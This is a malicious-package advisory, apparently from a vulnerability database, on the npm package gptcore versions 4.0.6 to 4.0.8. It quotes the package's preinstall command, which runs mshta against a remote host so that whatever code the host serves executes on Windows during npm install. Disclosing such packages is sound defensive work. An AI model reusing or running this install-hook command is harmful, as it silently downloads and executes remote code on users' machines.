MAL-2026-10204

    Dashboard / Malicious Package / MAL-2026-10204

    MAL-2026-10204

    Published: 12 Jul 2026Last Modified: 12 Jul 2026

    Summary: Malicious code in gptcore (npm)

    Details: Source: amazon-inspector (c36c51510f3762d03ab5bd7132de4a65a950f410cb5771a99d4fdc9334a9c895) [email protected] declares a preinstall lifecycle script that runs `exec('cmd /c "mshta http://fixars.top"')` in preinstall.js. On Windows, this fires automatically during `npm install` and launches mshta.exe against the remote URL http://fixars.top, causing whatever HTA/JScript content that host currently serves to execute on the installer's machine. The destination is a hardcoded third-party host over plain HTTP, with no pinning, hash verification, or relationship to a legitimate publisher, and the fetched content is unrelated to any documented package purpose.

    Affected packages

    Package

    Name: gptcore

    Purl: pkg:npm/gptcore

    Affected ranges

    Type: N/A

    Events:

    Introduced- None
    Fixed -None

    Affected versions

    4.0.6
    4.0.7
    4.0.8
    MAL-2026-10204 | CVE-DB